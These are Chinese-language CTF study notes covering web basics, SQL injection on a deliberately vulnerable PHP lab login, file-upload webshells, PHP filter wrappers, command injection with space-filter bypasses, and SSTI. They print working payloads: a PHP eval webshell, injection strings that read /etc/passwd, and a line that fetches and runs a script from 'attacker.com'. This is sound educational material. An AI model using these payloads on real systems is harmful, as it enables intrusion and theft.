为了校赛CTF,学习一下web

一、基础知识+黑话解释

基础知识:

前端和后端通过协议来进行交流,而后端连接着数据库

后端就是部署在服务器上面的一个程序

什么是数据库?存放数据的地方

什么是协议?规定好的通讯交流方式

URL 统一资源定位符,唯一定位网站的标识符

MAC地址 介质访问控制符 Media Access Control,可以理解为硬件的地址

路由器可以将某个端口映射到内网的端口

  • 域名 域名是用于标识互联网上计算机或服务的字符型名称,例如 example.com。它通过DNS(域名系统)解析为IP地址,使用户无需记忆复杂的数字地址即可访问网站。域名的核心作用是提供品牌识别易于记忆的访问入口
  • URL URL是完整的资源定位符,包含访问资源所需的所有信息,例如协议类型(如HTTP/HTTPS)、域名、端口号、路径及查询参数。例如:https://www.example.com/path/page.html?id=123。URL的目的是精确指向互联网上的某个具体资源,如网页、图片或API接口。

域名是URL的子集

DNS服务器可以把域名解析成IP

image-20250412140627510

在向DNS发起请求之前,会先从本地HOST发起请求,如果有缓存,就直接用了

电脑的流量通过网卡,经过网关向外输出

虚拟机怎么联网呢?可以与物理机用同一个网卡,这就是桥接

还有一种方法就是,虚拟机的虚拟网关经过映射到真实网关,这就是NAT

什么是Shell/Webshell

shell就是控制操作计算机的一个命令行界面

而Webshell就是通过网页形式操作控制计算机的一个命令行网页界面

正向/反向shell

正向是黑客链接受害者,反向是受害者链接黑客

Cookie/Session:Cookie数据存放在客户端,Session保存在服务端,存放用户名、密码、身份认证等信息

黑话

0Day:最新产生的漏洞

攻击、入侵、渗透:获取目标的信息,获取目标的shell

DDOS:拒绝服务攻击

肉鸡:已经攻占的计算机

代码审计:看代码找BUG

靶机:搭建好漏洞测试环境的计算机,用于学习

CMS:内容管理系统,俗称后台

后渗透:攻击完成,建立持久访问

image-20250412142705009

DDOS攻击就是,黑客利用肉鸡不断向服务器发送数据,到达承受极限,导致服务器拒绝服务

DOM(Document Object Model,文档对象模型)

DOM是一个跨平台、与语言无关的API,通过树形结构表示文档中的元素、属性和文本。每个节点对应文档的一部分(如标签、文本、注释),形成层级关系。例如,<html>是根节点,包含<head><body>子节点,进一步向下延伸。

其实就是HTML的架构

二、前端漏洞

HTML几乎没有漏洞

CSS漏洞(键盘监控)

JavaScript漏洞就多了,SQL注入,XSS

三、Http协议

一、请求

HTTP协议请求方法包括

GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS等等

image-20250424212349803

提示用CTFHUB请求方法,抓包改成image-20250424212429840

就拿到FLAG了

二、302跳转

就是说访问一个网址的时候,服务器重定向暂时跳转到其他地方

301是永久跳转

所以会进行两次跳转

image-20250424213536931

image-20250424213527170

点击give me flag之后抓包就行了

三、cookie

image-20250424213731207

修改cookie admin=1就行了

四、基础认证

这一个典型的HTTP客户端和HTTP服务器的对话,服务器安装在同一台计算机上(localhost),包含以下步骤:

  1. 客户端请求一个需要身份认证的页面,但是没有提供用户名和密码。这通常是用户在地址栏输入一个URL,或是打开了一个指向该页面的链接

  2. 服务端响应一个401应答码[4],并提供一个认证域(英语:Access Authentication)[5],头部字段为:WWW-Authenticate,该字段为要求客户端提供适配的资源。[6] WWW-Authenticate: Basic realm="Secure Area" 该例子,Basic 为验证的模式,realm="Secure Area"为保护域,用于与其他请求URI作区别。

  3. 接到应答后,客户端显示该认证域给用户并提示输入用户名和密码。此时用户可以选择确定或取消。

  4. 用户输入了用户名和密码后,客户端软件将对其进行处理,并在原先的请求上增加认证消息头(英语:

    Authorization

    )然后重新发送再次尝试。过程如下:

    1. 将用户名和密码拼接为用户:密码形式的字符串。
    2. 如果服务器WWW-Authenticate字段有指定编码,则将字符串编译成对应的编码(如:UTF-8)。
    3. 将字符串编码为base64。
    4. 拼接Basic ,放入Authorization头字段,就像这样:Authorization Basic 字符串。 示例:用户名:Aladdin ,密码:OpenSesame ,拼接后为Aladdin:OpenSesame,编码后QWxhZGRpbjpPcGVuU2VzYW1l,在HTTP头部里会是这样:Authorization: Basic QWxhZGRpbjpPcGVuU2VzYW1l。 Base64编码并非加密算法,其无法保证安全与隐私,仅用于将用户名和密码中的不兼容的字符转换为均与HTTP协议兼容的字符集。
  5. 在本例中,服务器接受了该认证屏幕并返回了页面。如果用户凭据非法或无效,服务器可能再次返回401应答码,客户端可以再次提示用户输入密码。

注意:客户端有可能不需要用户交互,在第一次请求中就发送认证消息头。

四、SQL注入

一、万能密码(#,--,1=1绕过)

结构化查询语言(Structured Query Langugage) SQL

由于数据库有很多,为了统一查询

SQL就是在数据库中进行查询的语言

什么是SQL注入呢,就是用户提交的数据可以被数据库解析

就是在输入中混杂SQL的相关语法,导致执行

先介绍一下使用xampp搭建靶场

在xampp的shell里面进入数据库

1
mysql -u root -p

创建数据库和表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CREATE DATABASE sql_injection_demo;
USE sql_injection_demo;

CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL,
password VARCHAR(50) NOT NULL,
email VARCHAR(100) NOT NULL,
is_admin TINYINT(1) DEFAULT 0
);

INSERT INTO users (username, password, email, is_admin) VALUES
('admin', 'admin123', 'admin@example.com', 1),
('user1', 'password1', 'user1@example.com', 0),
('user2', 'password2', 'user2@example.com', 0),
('test', 'test123', 'test@example.com', 0);

如何连接数据库呢?

1
2
3
// 连接数据库
$conn = new mysqli("localhost", "root", "", "sql_injection_demo");
第一个是mysql地址,第二个是用户名,第三个是密码,第四个是数据库名字

然后写一个简单的登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
// 连接数据库
// mysqli_connect() 函数用于连接到MySQL数据库
// 参数依次是: 服务器地址, 用户名, 密码, 数据库名
$conn = mysqli_connect("localhost", "root", "", "testbase");

// 检查连接是否成功
if (!$conn) {
die("数据库连接失败: " . mysqli_connect_error());
}

// 检查是否有GET请求参数
// $_GET 是PHP的超全局变量,用于收集通过GET方法发送的表单数据
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['username']) && isset($_GET['password'])) {
// 获取GET参数
// 这里直接从GET请求中获取用户名和密码,存在SQL注入漏洞
$username = $_GET['username'];
$password = $_GET['password'];

// 构造SQL查询语句 - 这里存在SQL注入漏洞
// 直接将用户输入拼接到SQL语句中是非常危险的
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

// mysqli_query() 函数执行SQL查询
// 第一个参数是数据库连接,第二个参数是SQL语句
$result = mysqli_query($conn, $sql);

// 检查查询结果
// mysqli_num_rows() 函数返回结果集中的行数
if (mysqli_num_rows($result) > 0) {
// mysqli_fetch_assoc() 函数从结果集中获取一行作为关联数组
$user = mysqli_fetch_assoc($result);

// htmlspecialchars() 函数将特殊字符转换为HTML实体,防止XSS攻击
echo "登录成功! 欢迎, " . htmlspecialchars($user['username']);

if ($user['is_admin']) {
echo " (管理员)";
}
} else {
echo "登录失败! 用户名或密码错误";
}

// 释放结果集
mysqli_free_result($result);
}

// 关闭数据库连接
mysqli_close($conn);
?>

注意到这里的sql语句

1
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

变量用单引号闭合,那么,我们就可以这样构造

1
?username=admin' -- &password=anything

因为前面已经符合admin,闭合之后,加入--注释语句,把后面密码注释掉了,所以直接通过

这里用#也是可以的

这是比较简单的万能密码

二、联合注入

前面那个主要对付的是登录的情况,并不能查找信息

如果要查找信息,就需要用到联合查询Union select

三、文件上传漏洞

上传一个一句话木马文件

1
<?php @eval($_POST['cmd']); ?>

这样后端如果没有经过检查,就会直接执行这个代码

只要上传成功,就可以用antsword拿到shell

然后访问各种文件

绕开各种检查可以用Burpsuite抓包,然后修改文件后缀名绕过

Content-Type: application/x-www-form-urlencoded

POST请求记得加上这个

[极客大挑战 2019]Upload

过滤了<,可以使用js绕过

1
2
3
4
GIF89a?
<script language="php">
eval($_POST[2333]);
</script>

然后前面要加上GIF89a?文件头,这个还检测了文件头

[MRCTF2020]你传你🐎呢

文件上传漏洞,过滤了php,我们可以传jpg文件,但是jpg文件需要被解析成php文件才能拿到shell

所以,还需要用到 .htacces文件,

它里面存放着Apache服务器配置相关的指令。 .htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。 .htaccess的用途范围主要针对当前目录。

1
SetHandler application/x-httpd-php

这里需要抓包改Content-type

image-20250421154219004

传png的之后是这样,那我们也改成png

image-20250421154356619

五、php伪协议

[SWPUCTF 2021 新生赛]include

打开发现传个file试试,用get穿个参数,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
show_source(__FILE__);
echo 'flag 在flag.php中';
}else{
echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

提示flag在flag.php中

其中

1
2
ini_set("allow_url_include","on");
include_once($file);

表示可以远程传输文件,这就可以变成文件上传漏洞,服务器会执行文件

这里需要用到php伪协议

PHP 伪协议(PHP Wrapper Protocols)是 PHP 提供的一种特殊 URL 格式,允许以流的方式访问各种资源。这些协议在文件操作函数(如 fopen()file_get_contents()include 等)中非常有用,但也可能带来安全风险。

可以使用php伪协议返回flag的base64编码,然后直接解码就行了

1
?file=php://filter/convert.base64-encode/resource=flag.php

本质上是利用include会解析php协议

php://filter可以叠加过滤

Q1:为什么不能直接访问file=flag.php

因为flag本身就是一个字符串,incLude_once会直接执行这个php文件

但是这个php文件可能没有echo输出,所以访问什么都得不到

当我们用伪协议过滤时,就不会执行php文件,而是直接返回编码

六、RCE漏洞

也就是远程执行

[SWPUCTF 2021 新生赛]easyrce

1
2
3
4
5
6
7
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}

system() system() 是 PHP 中⽤于执⾏外部程序并显⽰输出的⼀个函数。这个函数接受⼀个字符串 参数,该参数是要执⾏的命令,然后在 Web 服务器上执⾏这个命令。

这意味着我们可以用eval执行任何命令

比如用system('ls /');列出根目录下所有文件

注意分号

然后再用cat就能拿到flag了

[SWPUCTF 2021 新生赛]babyrce(cookie注入)

Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。

通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站

Cookie注入其实就是在Cookie中进行sql注入

1
<?php error_reporting(0); header("Content-Type:text/html;charset=utf-8"); highlight_file(__FILE__); if($_COOKIE['admin']==1) {   include "../next.php"; } else   echo "小饼干最好吃啦!"; ?> 

打开得到这个

修改Cookie的方法

使用hackbar修改Cookie即可

image-20250421143157523

或者直接在内存里修改

image-20250421143449670

然后就找到另一个php文件,打开

得到真正的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>

这里用preg_match做了一个过滤

preg_match 函数用于执行一个正则表达式匹配。

1
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

搜索 subject 与 pattern 给定的正则表达式的一个匹配。

所以这里就是正则匹配$ip是否包含空格,如果包含,就直接结束

所以我们不能用cat /flag了,这就含有空格

shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回

1. 命令注入漏洞
  • 代码直接将用户输入的 url 参数传递给 shell_exec()
  • 虽然过滤了空格,但攻击者可以使用多种方式绕过:
    • 使用制表符 %09 代替空格
    • 使用 ${IFS} (Internal Field Separator) 代替空格
    • 使用重定向符号 <> 不需要空格
2. 漏洞利用示例
1
2
3
?url=ls%09/         # 列出目录 (使用制表符代替空格)
?url=cat${IFS}/etc/passwd # 读取系统文件
?url=curl${IFS}attacker.com/shell.sh|sh # 下载并执行远程脚本
空格的绕过
1
<,<>,%20,%09$IFS,${IFS},$IFS$9,{cat,1.txt}

[ACTF2020 新生赛]Exec

命令执行漏洞 2、;直接分号分隔 管道符:作用和&一样。前面和后面命令都要执行,无论前面真假 3、| 按位或 作用是直接执行|后面的语句 4、|| 逻辑或 作用是如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 5、& 按位与 &前面和后面命令都要执行,无论前面真假 6、&& 逻辑与 如果前面为假,后面的命令就不执行,如果前面为真则再执行后面命令,这样两条命令都会被执行 可以用这些符号来执行后面的指令

image-20250421145916473

由于能ping,所以尝试后面加上指令

[GXYCTF2019]Ping Ping Ping

命令注入

和上一题差不多,但是很多都被过滤了

image-20250421151136610

这里发现最底下有个a,可以用这个a来替换

1
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

七、信息泄露

一、目录遍历

没话说

二、phpinfo

直接搜flag

八、SSTI

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__class__            类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的模块、方法以及所有变量。查看所有键名:__globals__.keys()。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。

我们可以用这样的类继承代码来获取

1
{}.__class__.__base__.__subclasses__()
  1. {} - 这是一个空字典对象
  2. .__class__ - 获取该字典对象的类(即dict类)
  3. .__base__ - 获取dict类的父类(通常是object类,因为所有类最终都继承自object
  4. .__subclasses__() - 获取该父类的所有直接子类列表

九、反序列化

1. 什么是序列化?

序列化(Serialization)就是把程序里的数据(对象)变成一串可以保存或传输的内容,比如一段字符串或二进制数据。 反过来,把这串内容再变回原来的数据,就叫反序列化(Deserialization)


2. 为什么需要序列化?

想象一下,你写了一个程序,它里面有一个变量:

1
person = {"name": "Alice", "age": 18}
  • 如果你想 保存到文件,以后再打开还能恢复这个字典,那就需要先“变成文本/二进制”——这就是序列化。
  • 如果你想 通过网络传给别人,也不能直接把 Python 的对象发过去,必须先序列化成标准的格式(比如 JSON)。

3. 常见的序列化方式

  • JSON:最常见的格式,可读性强,跨语言(Python、Java、JavaScript 都能用)。

    1
    2
    3
    4
    import json
    data = {"name": "Alice", "age": 18}
    s = json.dumps(data) # 序列化 -> '{"name": "Alice", "age": 18}'
    d = json.loads(s) # 反序列化 -> {'name': 'Alice', 'age': 18}
  • Pickle(Python 专用):能保存更复杂的对象,但只在 Python 里能用。

  • XML / YAML:也可以序列化,不过现在用得少一些。


4. 打个比喻

  • 序列化就像把一本书里的内容压缩成一卷纸,可以寄出去。
  • 反序列化就是把那卷纸重新展开,还原成一本完整的书。